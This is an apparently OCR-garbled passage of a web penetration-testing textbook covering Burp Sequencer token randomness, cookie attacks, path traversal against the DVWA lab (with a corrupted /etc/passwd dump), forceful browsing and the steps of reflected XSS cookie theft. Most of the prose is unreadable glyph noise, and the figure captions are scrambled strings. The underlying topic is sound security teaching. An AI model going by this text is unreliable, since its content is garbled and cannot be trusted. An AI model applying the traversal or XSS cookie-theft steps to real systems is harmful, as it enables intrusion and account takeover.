¢ȱȱȱ ȱȱȱśǯŗŖǯ
Overall result
Ths (jveral i quai itv of r an i omness wdhin [he sa mpl e is e slmaled to be : ence fent
sign finance level of i % theimounioreflech-e entropy is estirraiedip&e H6 toils
effective e mi ci|ny
The c h-ar; sh wi m? nu m her ef ti its ur effective e nl ropy at e ach s ig n finance leva 1, h as ed t-n a H l ?sls Each sign-fic an( e I eve i dtfi n es a rr mi mum
srflbabiii v at Hie observed insults ectuir iry if me sample is ra nae mtv generated w»fl ih e prt>:n a biiiiy at (He pts erved result? at emm p fall s betel*
mi? i mi tre fivp omes is ihai in e sam pie i s r am printy p enej a:ed is rejected o?i ng a tpwer sign titan ce level means that sdons er evid ent e is
required to reiect tne nypothes is that :h a sample - 1 andem, and so inc rants it e chartce ih at nonran dom date w II h e treaie d as rand om
*10%
Significance level
>0.t%
>001%
>0.0(Jt%
Relinbilfly
The analysis, is DsseaonasampieefJtOT tokens 3asec onihe sample sue, tne reliability of tee results is ie*s enable
no;e hei statistical tesis pnevide eniy?n indicative gjideio me randomness srthe sampled oaia Results coiamed may coni? n raise pÿmves and
negatives and may non owes pend 10 the preclif si unseietabiirty af :he tokens sampEed.
),*85( (QWURS\UHVXOWVIRU6HTXHQFHUWHVWV
ȱ¢ȱȱ ȱǰȱȱȱȱȱȱ¢ȱȱ
¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱ ȱȱȱśǯŗŗǯ
\ summarr | cuaretieHiiYei an-aiysla \ wthev* analysis ] opiums |
summary '
FIPS monrftitlgsl '
FIPS soker test '
FIPS runs- [eat flPS [png inns 1esl spetMtegtS toirefabsn ' compression
'
pfl comers ipr
Wtft -
10ft
1ft
0 tft -
O.Olft UPS pass level
O.QOtft -
1$ 0001 ft
FIPS result
18© bits Passed latest The following 22 bits fa iledlhe lest D, 1 , 2. 7, U. ifi, 17, 23, g*. 29, 31 . 36. 50 55. 56. 61 1 59. 1 61. 181, 1 69
tWKXualts
22 ir»m at «"ware Idetwnfiifd w mis lesi
too few ones al tM 0 (counl 649. orotuLihlv in a i«ndwn san$t* <ts* loin Oj&oijift)
loo few ones al b 1 1 (tounl 6£ 1 . p robat llity In a r J ndom sample OH than 0.0001ft)
IOD few Onus al b l 2 ftcunl 86 5. p roba t ility In a r andom s ample: es s than Q.OOQ 1 ft)
'
lOo few ones a1 b 1 7 (coun: S 7 1. n rob it ility in a random S ample loss 1han 0 000' ft)
),*85( %LWOHYHOUHVXOWVIRU6HTXHQFHUWHVWV
ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ę
ǯȱ ȱȱ¢ȱȱȱ¢ȱ ȱęȱȱ ȱȱęȱȱ
¢ȱȱŗśǰŖŖŖȱȱŘŖǰŖŖŖȱȱȱȱ¢ǯ
2WKHU&RRNLH$WWDFNV
ȱ Ĵȱ ȱ ȱ ęȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱ ȱȂȱĴȱ ȱȱȱ ȱȱǰȱ ȱȱȱȱȱǰ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ¢ȱ Ĵȱ ȱ ȱ ȱ ȱ ¢
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ Ȃȱ ȱ ǯȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ¢Ȃȱ ȱ ȱ ȱ
ȱȱȱȱȂȱȱȱȱǯ
Ŷȱȱȱȱȱǰȱȱȱȱȱȱ¢ȱ ǰȱȱȱȱ
ȱȱȱ¢ȱȱȱȱȱȱȱȱ ȱȱȱȱȱ
ȱȱȱȱȱ¢ȱȱǯ
Ŷȱ¢ȱȱȱ¢ȱȱȱȱȱȱ¡ȱȱǻȱ¢ȱȱȱ¢ȱȱ
Ǽȱȱȱȱȱȱȱǯȱȱȱȱȱȱ¡¢ȱȱȱ
¢ȱȱȱǯ
Ŷȱ¢ȱ Ȭ ¢ȱǰȱȱȱǰȱ¢ȱ ȱȱȱȱȱȱ
ȱȱȬȱȱȱȱȱȱ¢Ȃȱȱȱȱ
ǯȱȂȱȱȱȱȱ¢ȱȱȱȱ
ȱ ȱȱ ȱ¢ȱȱ¢
ȱȱȱȱ ȱȱ¢ȱȂǯ
Ŷȱ¢ȱȱ ȱȱ¢ȱȱȱ ȱ¢ȱȱȱȱȱȱȱ¢
ȱǯȱ¢ȱȱȱȱȱȱȱȱ¡ȱȱȱȱȱǯȱ
ȱȱȱȱ ȱȱȱ¢ȱ ȱ¢ȱȱȱȱȱȱ
ȱȱ¢ȱ ȱȱȱ¢ȱǯȱ¢ȱȱ
ǯȱȱ¢ȱȂǰȱȱȱȱȱ¢ȱȱȱȱǯ
Ŷȱȱȱȱȱȱȱ ȱȱ ȱȱȱȱȱ
ȱȱǯȱȱȱȱǰȱȱ¢ȱȱȱȱ
ǵȱȱȱȱȱ ȱȱȱȱȱȱȱȱ
¢ȱȱȱȱǵ
ȱȱȱȱȱȱȱȱȱȱ¢ȱȱȱȱ¢ȱ ǯ
Ȃȱȱȱȱȱȱ ȱȱȱȱ ȱȱȱęȱ
ȱǯȱȱ ȱȱȱȱȱ ȱ ȱȱȱȱ ȱǯ
3DWK7UDYHUVDO$WWDFNV
ȱ ȱ Ĵȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ ¢ȱ
ȱ£ȱȱȱȱ ȱȱȱȱ ȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ęȱ ǯȱ
Ĵȱ ȱ ȱ ¡ȱ ¢ȱ ȱ ȱ ȱ ȱ Dzȱ ȱ ¢ȱ ¢ȱ
¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ Ĵȱ
ȱ ȱ ǯȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱȱȱȱȱȱȱȱȱ ȱȱ¢ȱĜǯȱȱȱ
ȱ¡ȱ¢ȱǻȱȱȱǼȱȱȱȱȱȱ¢ȱȱ
ȱ¢ȱȱȱȱȱȱȱǯ
:HE6HUYHU)LOH6WUXFWXUH
ȱ¢ȱȱ¡ȱȱ¢ȱ ȱǰȱȱ¢ȱȱ ȱ¢ȱ
ȱ ȱ ¡ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ¢ȱ ȱ
ȱ ȱȱȱȱȱśǯŗŘǯ
/
_
T
IP L-
tons of
apps
passwd
file
lib WWW
l
I
src | dvwa
L
r
I css
L
r
] images
y
{includes
y
r,
I J* y
),*85( 3DUWLDOGLUHFWRU\VWUXFWXUHIRU'9:$RQWKHZHEVHUYHU
ȱȱȱ ȱ ȱ¢ȱȱȱȱȱȱ ȱȱȱ
ȱȱȱ ȱȱǯȱ ȱȱȱǻ¢ȱȱȱ ȱȱ
ȱǼȱȱȱȱȱȱ¢ȱ¢ȱȱ ȱȱǯ
ȱ ¢ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ¡ȱ ǰȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ
ȱȱ ǰȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ¡ȱ
ȱȱȱśǯŗřǯ
v
* root@bt: fvar/www/dvwa
File Edit View Terminal Help
root@ht:~# Is 4
r*\ n ix
),*85( :HEVHUYHUGLUHFWRU\GLVFRYHU\IRU'9:$HQYLURQPHQW
ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ Ĵȱ ǻǯǯǯȱ ¢ȱ Ǽȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ £ȱ ȱ ȱ ȱȱ
ȱ¡ǯȱ ę¢ȱ¢ȱ ȱȱęȱȱȱȱȱȱ
ȱ ȱ ȱǯȱȱ¢ȱȱȱȱȱȱǰȱǰ
ǰȱȱ¡ȱȱȱȱȱ ȱǯ
ȱ ęȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ £ȱ ȱ ȱ ȱ ęȱ ¢ȱ ȱ ȱ
ǯȱȱ Ȃȱ¢ȱȱȱȱȱ ȱȂȱęȱ¢ȱȱȱȱ ȱ
ȱȱ¢ȱȱȱ ȱȱȱȱ ȱȱǯȱȱ ȱ
¢ȱȱȱȱȱȱȱȱǰȱȱ¢ȱȱȂȱ ȱ ȱ¡¢
¢ȱȱȱȱȱęȱǯȱ ȱ ¢ȱȱȱȱȱȱȱȱ
ȱȱȱ ¢ȱǯȱȱ ȱȂȱȱȱ ǰȱȱ¢ȱȂȱ ȱ ȱ
ȱȱȱȱǯȱȱȱȱȱȱ¢ȱ ȱȱȱ ȱȱ¢ȱę
ȱ ǯȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ǯ
ȱȱȱ¢ȱ ȱȱȱȱȱǯ
ȱȱ¡ȱȱȱȱȱĴǰȱȱȱȱȱ ȱȱȱȱ¢
ǰȱ ȱȱȱ¢ȱǯǯȦȱȱȱ ȱȱ ǯȱȱȱȱȱȬ
Ȭȱȱȱ¢ȱȱȱ¢ȱ ȱȱ¢Ȃȱęȱȱȱ
¢ǯȱ Ȃȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ¢ȱ ȱ ȱ ¢ȱ ȱ ȱ
¢ȱ ǰȱ ȱ ȱ ¢ȱ ȱ ȱȱ ¢ȱ ȱ Ĵȱ ȱ ȱ ȱ
¢ǰȱ¢ȱ ȱ¢ȱȱ ǯȱȱȱȱřȱȱŝȱȱŗŚȱȱDzȱȱȱȱ¢ȱȱ
ŗŚȱȱȱȱǰȱ¢ȱ ȱȱȱȱ¢ȱȱȱ ȱ¢ȱǯ
¢ȱȱȱȱȱ¢ȱ ȱ¢Ȃȱȱȱȱ¢ȱ ȱ¢ȱȱ¢ȱȱ
ȱ¢ǰȱȱȱȱȱȱȱȱȱ¢Ƿȱȱȱȱȱ ȱȱ¢
ȱ¢ȱȱ¢Ȃȱȱȱȱȱ ȱȱȱśǯŗŚǯ
ooncO O:n»t/raoiwivt»tii daemon or i ivsaernori -.usrtj&iri /tiiri.sri om x 2 icinyum junrirsnsirs >};J sys.'dev/tnn.'&h sync u 65334syi
ftpoflUpdrarLfeti mailxB.s.niurlAariTnaili/bin'sli MwueSSfnmvaiSvwftpaaltamtiBAlnAri uuefvx lQ:lO:uuep:fV0r'fc{>ea(fLiLicpjbiii/4b pru
tm-sJi list* 30 38 MnilinflLlJ!Managtrj\arflt5lJbinÿhifCJf:39 39.JrKl AHifÿUjnJrif«JVtJrn/B*i gnalsx'i) 41;Grate Sug-Refiorltng Syilsm [q<
ahdJL102 :65054:jVarphin/»tt(J Aisrrtfcin/lnolool n landscspÿx 1 03.1OS: Aof niMand fcotw J&lnrfols* ITTC ssagcbus x 104. 1 12 :JvaWuiiAatm
Furahij: :106. 1 14 ..‘varfrunyovahi-daemonubin.Tals* SJiortx-107 1 1 5 Snc-rt rDS ,ar 1o(j.,sn.ort’,bin.,fjir.E» x 108 6553-’. \'af ,1 jb.Tifsi.tin fa I
nm.lai' -? fesDvai.a:i12:ÿ9.:-tiorr>C'll0sbvaiA>nrtjiK poatares:x: lOOOiiOOOiÿiomg.'pQsmres.-Tjin.'sn _
Home
),*85( 5HWULHYLQJWKHHWFSDVVZGILOHYLDDSDWKWUDYHUVDOYXOQHUDELOLW\LQ'9:$
)RUFHIXO%URZVLQJ
ȱ ¡ȱ ȱ ȱ ȱ ȱ ȱȱ ȱ ǻǯǯǰȱ ȱ Ǽ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ Ȃȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ¡¢ȱ ȱ Ȃȱ
ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ
ǯȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ Ĵȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱȱȱ¢ǯȱȂȱȱȱȱȱȱȱȱȱ¢ȱȱǯ
ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǻȱ ¢Ȃ
ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ¡ȱ ȱ ¢ǰȱȱ ȱ ǰ
¢ ȱ ǰȱ ȱ
ȱ ȱ ȱ ȱ ȱ Ǽǯȱ ȱ ȱ ȱ ¢
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ¢ȱ ȱ
ȱǯ
KWWSVELJEDQNFRPUHSRUWVTILQDQFLDO&DVK)ORZSGI
ȱȱȱȱȱȱ¢ǰȱ¢ȱŘŖŖŚȬŘŖŗřǰȱȱ¢ȱȱȱȱŘŖŗřȱȱȱ
ǯȱȱŗȱ¢ȱȱȱęȱęȱǰȱȱ ŘǰȱřǰȱȱŚȱȱ
¢ȱ ȱ ȱ ¢ǯȱ ȱȱ ¢ȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱȱȱȱȱȱǰȱ
ǰȱǰȱǰȱȱ¢ȱȱȱ¢ȱȱ
ȱ ǯȱ ȱ ę¢ǰȱ ȱ ǯȱ ęȱ ȱ ȱ ȱ ǯȱ ǰȱ ¢ȱ ȱ
£ȱ ȱ ȱ ȱ ȱ ęȱ ȱǯȱ ȱ ȱ ę¢ǯȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ǯ
ȱǯǰȱ ¢ǯǰȱ ǯǰȱ ǯǰ
ǯǰȱȱȱǷȱ ȱȱŗŖȱ¢ǰȱŚȱǰȱśȱǰȱȱŝȱę
ȱȱȱŗŚŖŖȱȱȱȱ¢ȱǷ
& + $3 7 ( 5
ȱȱ
&KDSWHU5XQGRZQ
Ŷȱȱȱȱȱȱȱȱȱ
Ŷȱȱȱȱ ȱȬȱȱǻǼ
Ŷȱ¡ȱȱȱ ȱȬȱȱ¢ȱǻǼ
ŶȱȱȱȂȱȱDZȱ ȱȱȬȱȱǻǼȱȱ¢ȱȱ
,QWURGXFWLRQ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ¢ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ Ĵȱ ¢ȱ ȱ ȱ
ǰȱ ȱȱĴȱȂȱȱ¢ȱ¡ȱȱ¢ȱ
ȱ ǰȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ǯ
ȱȱ ȱȱĴȱȱǰȱȱ¢ȱȱ¡ȱȱȱȂȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ
¢ȱ¡ȱ ȱȱȱȱȱȱȱȱȱȱ ȱ
ȱ ȱǯ
ȱȱ¢ȱ ȱ£ȱȱȱ ȱȱDzȱ¢ȱ ȱȱȱȱ
ȱȱȱȱȱȱȱǯȱȱ ȱȱȱȱȱȱ
¢ȱ ȱ ȱ ȱ ȱ DZȱ Ȭȱ ȱ ǻ Ǽǰȱ Ȭȱ ȱ ¢
ǻǼǰȱȱȱȱǯ
ȱȱȱȱȱȱ ȱ ȱȱȱĴȱȱȱ ȱ
ȱ¢ȱȱȱȱ ȱȱȱ ȱȱ¢ǯȱȱĴȱ
¢ȱȱȱȱȱȱ¢ȱȱȱȱȱȱȱDZȱȱȱǰ
ȱȱǰȱ ȱȱ ȱęǰȱȱȃ
ȄȱǻȱȃȄǼȱȱȱ ȱ
ȱǰȱȱȱ ȱȱ ȱȱȱǰȱȱȱȱĴǯ
ȱ ȱ ȱ ȱ Ĵȱ ȱ ěȱ ȱ ȱ ¢ȱ ȱ ȱ ę
ȱ ȱ ȯȱ ȱ ȱ ȱ ȱ ǰȱ ¢ȱ ǰ
ȱǰȱȱȱȱǯȱȱ ȱ ȱȱȱ¢ȱ¢ȱȱȱ
ȱȱȱȱ ȱ¢ȱȂǷȱȱȱȱȱDzȱ
ȱ ȱ Ĵȱ ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ Ĵȱ Ȃ
¢ȱǯ
ȱȱ ȱ ȱ¢ȱ ȱ¢ȱȱȱȱȱȱȱ ȱ¢ȱȂ
ȱ ȱ Ȭȱȱ¢ȱ¡ȱȱȱȱĴǯ
ȱ¢ȱȱĴȱȱȱȱȱȱȱȱ ȱȱȱȱ
ȱ ȱ ȱȱ ȱȱȱȱȱȱǷ
;669HUVXV&65)
ȱȱȱȱȱ ȱȱ ȱȱ¢ȱȱȱȱȱ Ȭ
ȱȱȱȱȱ ȱȱȱȱȱȱȱȱȱȱ
ȱ ȱ ȱ £ȱ ǯȱ ȱ ¢ȱ ěȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱȱ¡ȱȱ¢ǯȱ ȱȱȱȱȱ ǰȱ ȱ ȱȱ¢ȱ
ȱȱȱȱǻ ȱȱǼȱȱȱȱȱȱȱȱǯ
ȱȱ ȱȱȱȱȱȱȱȱ¡ǰȱȱȱȱ ȱ
¢ȱ ȱȱ¢ȱ ¢ȱ
ȱȱ ȱȱ ȱ¢ ȱȱ ŘŖŖśǯȱ ȱ Ȃ
¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ
Ĵȱȱȱȱȱȱȱ ȱȱȱ ǯȱȱĴȱȱȱ¢ȱ
ȱȱȃȱȱȱǰȱ¢ȱȱ¢ȱȄȱȱȱȂȱęȱȱȱȱȱ
ȱ ȱ ȱ ¢ǯȱ ȱ ȱ ¢ ȱ ȱ ȱ ¢ȱ ¡ȱ ęǰȱ
¢ȱ ȱ ¡ȱ ǯȱ ȱ ŗȱ ¢ǰȱ ȱ ŗȱ ȱ ¢ ȱ ȱ ȱ
¡ǯȱȱ¡ȱȱȱȱȱ ȱȱȱȱ ȱȱȱȱ
ȱȱǯ
7HFKQLFDO6RFLDO(QJLQHHULQJ9XOQHUDELOLWLHV
ȱ ȱ ȱ Ĵȱ Ȃȱ ¢ȱ ȱ ¢ȱ ¡ȱ ¢ȱ ȱ ȱ
ȱ ȱ ȱ ǰȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ¢ǯȱ ȱ ¢ȱ ȱ Ĵ
Ȃȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱ ǰȱ ȱ ǰȱ ȱ ǰȱ ȱ ȱ ę ǰ
Ȭȱ ǰȱ ȱ ǰȱ ȱ ȱ ¢ȱ ǰȱ ȱ ȱ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ
ȱ Ĵǯȱ ȱ ȱ ȱ ¢ȱ ¢ȱ ěǯȱ ȱ ¢ȱ ȱ ¢ȱ ¢Ȃȱ
ȱȱȱȱȱ¢ǰȱ¢ȱȱȱȱȱȱ¢ȱȱȱȱȱ
ȱȱ ǯ
ȱ Ȭȱȱǻ Ǽǰȱȱ¢ȱ ȱ
¢ǰȱȱȱȱ¢ȱȱĴ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱǯȱȱ ǰȱ ȱ ȱȱȱȱȱȱȱ
ȱ ǰȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
¢ȱȱ¡ȱȱ¢ȱȱȱȱ¢ȱȱǯ
:HE8VHU5HFRQ
ȱȱȱȱȱȱȱȱȱȱ ȱǯ
ŗǯȱȱȱ¢ȱȱȱȱ ȱȱȱȱȱ
ȱȱȱȱȱȱȱȱȱȱȱǯ
DZȦȦǯȱȱȱȱȱȱȱȱȱ¡ȱ
ȱȱȱȱȱȱȱ¢ǯȱ¢ȱȱ¢ȱȱ
ȱȱ ȱȱȱȱ ȱȱ¢ȱȱȱȱ
ȱȱȱǯȱǯȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱȱ¢ȱȱȱȱȱȱȱȱȱȱ
ȱȱǯȱȱȱȱȱȱȱȱȱȱȱȱȱ¢ȱ
ȱȱ¢ȱȱȱȱǯ
Řǯȱȱȱȱȱȱȱȱȱȱȱȱ ȱ
ǯȱȱȱ¢ȱȱȱȱȱ¢ȱȱȱȱȱ¢ǰ
ȱ¢ȱȱȱȱȱȱȱȱȱȱȱȱȱ
ǯȱȱȱ¢ȱȱȱȱǰȱǰȱǰȱ ȱǰȱȱ¢
ȱ ¢ȱ¢ȱȱȱȱȱȱȱȱǯȱȱȱȱȱȱ
ǰȱȱȱȱ ȱȱ ȱȱȱȱȱȱȱȱ
ȱȱȱȱȱȱȱǯȱȱȱȱ ȱȱȱ¢ȱ
ȱǯȱȱȱȱȱȱ¢ȱȱȱȱȱǵȱ¢
ȱȱȱ ȱ¢ȱȱȱȱ¢ǵȱ¢ȱȱȱȱȱȱ
ȱǵȱȱ¢ȱȱ¢ȱǰȱ¢ȱȱȱȱȱ
ȱȱǯȱȱȱȱǻǰȱǰȱǰȱǯǼǰ
ȱǰȱȱ ȱǰȱȱȱȱȱȱȱ
¢ȱȱȱȱǯ
řǯȱȱȱȱȱȱȱȱȱȱ¢ȱȱȱȱ
ǯȱȱȱȱȱȱȱȱ ȱ¢ȱȱ
ȱȱȱȱ¢ȱȱȱǯȱȱ¢ȱȱ ȱ¢ǰ
¢ȱȱȱȱȱȱȱȱȱȱǻ
ȱǯȱȱ¡Ǽǰ
ȱȱǰȱȱ ȱȱȱȱȱǯȱ
ȱȱ¢ȱǵȱȱȱȱȱ¢ȱǵȱ
ȱȱ¢ȱȱȱǵ
ȱ¢ȱȱȱȱȱȱȱȱȱǵȱȱȱ
ȱȱ¢ȱȱȱȱȱ ȱȱǯȱ
¢ǰȱ¢ȱȱȱȱȱȱȱ¢ȱ ȱȱǯȱȱ¢
ȱ¢ȱȱȱ¡ȱ¡ȱȱǰȱ¢ȱȱȱȱ ȱ ȱȱ
ȱ¢ȱȱȱȱȱȱ¢ȱȱȱȱ¢ȱ¡ǯȱȱ
ȱ¢ȱȱ¢ȱȱȱȱȱȱȱ¡ȱȱȱ¢ȱ
ǯȱȱ ȱȱȱȱ ȱȱ¢ȱȱȱȱ
ȱȱȱȱȱ¢ȱ ȱȱȱ ȱǯȱȱ¢ȱ ȱ
ȱǀȱǁǀȦȱǁȱȱȱȱȱȱȱȱ
ȱȱȱǯȱȂȱȱ¢ȱ ȱȱȱ¢ȱ ȱ
ȱȱȱȱ ȱȱ¢ȱȱǯȱȱ¢ȱȱȱǰȱ¢
ȱȱ¢ȱȱȱȱȱȱȱȱǯ
:HE8VHU6FDQQLQJ
ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ǰȱ ¢ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȭȱ ¡ȱ ȱ ȱ ǯȱȱ
ȱȱ¢ȱ ȱȱ ȱĴȱȱȱȱȱȱ ȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱǯȱ Ȃȱȱęȱȱȱ¢Ȃȱȱ ȱ
Ĵȱȱȱȱȱǯȱ ȱ ǰȱǰȱȱȱȱ
ȱȱȱ¢ǰȱȱ¢ȱȱȱȱȱȱȱ¡ǯȱȱȱ
ȱȱ ȱ¢ȱȱȱȱȱ¢ǯ
ȱ¢ȱȱȱȱ ȱȱ ȱ¢ȱȱ¢ȱȱȱȱȱ
¢ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ęǯȱ ȱ
DZȦȦ ǯ ǯȦ¡ǯȦȏȏȏȏǯȱ ȱ ¢ȱ ȱ
ȱ ȱĴȱȱęȱȱǯȱȱȱȱȱ ȱȱ ȱȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ
¢ȱ ěȱ ȱ ȱ ¢ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ
ǰȱȱȱȱ
¢Ȃȱ ȱȱDZȦȦ ǯȬǯȦǯ
ȱȱ ȱȱȱĴȱȱȱęȱȱȱȱȬ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ Ȃ
ǯȱ ǰȱ ǰȱǰȱȱ ȱȱȱȱȱȱȱȱ
ęȱȱȱȱǯȱȱȱȱ¢ȱȱ¡¢ȱȱęȱ
ȱ ȱȱȱȂȱĜȱȱȱȱȱęȱȱ¢
ȱ ȱ ȱ Ȭȱ ǯȱ ǰȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ ¢
ȱ ǰȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ¢ȱȱȱȱ ȱȱ ȱȱȱȱȱȱȱȱȱǯȱ
¢ȱȱȱęȱȱȱȱȱȱȱȱȱȱȱȱȱȱ
ǯȱ ȱ¢ȱȱ¢ȱ¢ȱȱȱǰȱ¢ȱȱȱȱȱȱȱȱ
ǯȱǰȱȱȱȱ¢ȱȱȱ ȱ¡ǰȱ¢ȱȱ
ȱȱȱȱ¢ȱȱǰȱȱ¢ȱȱȱȱȱȱȱ
¡ȱ ¢ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ
ȱȱȱȱǯ
:HE8VHU([SORLWDWLRQ
Ȃȱȱȱȱ ȱȱ¢ȱ ȱȱȱȱȱ¢ȱȱȱ ȱ
ȱ ¡ȱ ȱ ȱ ǯȱ ȱ ȱ Ĵȱ ȱ ȱ ȱ
ȱȱȱȱ ȱȱȱȱȱȱǯ
ŶȱDZȱȱȱȱȱȱȱȱȱ ȱȱȱ
ȱȱȱȱȱȱȱ¢ȱȱȱǯ
ŶȱȬȱȱ¢ȱǻǼDZȱȱȱ¢ȱȱȱ ȱȱ
ȱȱȱȂȱ ȱ ȱȱȱȱȱ ȱȱ ȱ¢ȱ
ȱǯ
Ŷȱȱȱ DZȱȱȬȱȱǻǼȱ ȱȱȱ
ȱȱȱȱȱȱȱȱȱȱ¢ǯ
;663D\ORDGV
ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ
ȱ ȱ ȱ ȱ Ě¡ȱ ȱ ȱ ǰȱ ¢ȱ ȱ ¢ȱ ȱ ¢ȱ ¢
ȱ ȱȱȱȱȱ ȱȱȱ ȱ ǯȱ ȱȱȱ
ȱȱ¢ȱDZ
ŶȱȬȱȱ¡ȱȱ¢ȱȱȬȬȱ
Ŷȱ
ȱȱ
Ŷȱ ȱȱȱ
ŶȱȱȱȂȱ ȱȱȱȱ
Ŷȱȱȱ¢ȱ
Ŷȱȱȱȱȱȱȱȱ
ŶȱȱȬȱȱǻȱȱ ǰȱȱ¡Ǽ
ȱȱȱȱȱ ȱȱȱȱȱ ȱȱȱȃ ȱȄȱȱȱȂ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ
ȱȱ¢ȱȱȱȱȱ ȱĴǰȱȱ¢ȱȱȱȱȱ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ¡¢ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱǯ
5HIOHFWHG;66$WWDFNV
ȱȱȱȱȱǰȱǰȱȱ ȱȱȱȱĚȱ
ȱȱȱȱȱŜǯŗǯ
a
5- Malicious
script
executes s~ÿ — 2, Send malicious link
6. Cookie is sent
* 7. Masquerade as victim
1. Log in
+-
3. Send malicious request
Web application
),*85( 7KHVWHSVLQDUHIOHFWHG;66DWWDFN
ȱȱ ȱȱȱȱȱȱȱȱȱȱȱĚȱ ȱĴǰ
ȱȱȱȱŜǯŗǰȱȱ¢ȱ ǯ
ŗǯȱȱȱȱȱ ȱȱȱȱǰȱȱȱȱȱǰ
ȱȱǰȱȱȱȱȬȱ¢ǯ
Řǯȱȱȱȱȱȱȱȱȱȱȱȱȱ¢ȱȱ
ȱǯ
ȱȱĴ¢ȱ¢ȱȱȱȱȱȱ ȱ¢ȱȱǯȱȱ
Ȃȱȱȱȱȱȱȱȱȱȱȱ¢ȱȱȱȱǯ
ǰȱȱȱȱȱȱȱęȱȱȱȱȱȱȱȱȱȱȱ
ȱȱȱȱȱȱȱǯȱȱȱȱ ¢ȱȱȱ ȱȱȱ
ȱȱȱȱȱȱȱȱȱǰȱȱȱǰȱȱȱ¢
ȱȱ ȱǯ
ȱ ȱ ȱ ȱ ȱȱ Ěȱ ¡ȱ ȱ ȱ ȱ ȱ ȱ
¢ȱ¡ȱȱĚȱ ȱĴǯȱ ȱ¢ȱȱȱȱȱȱǰȱ¢ȱ
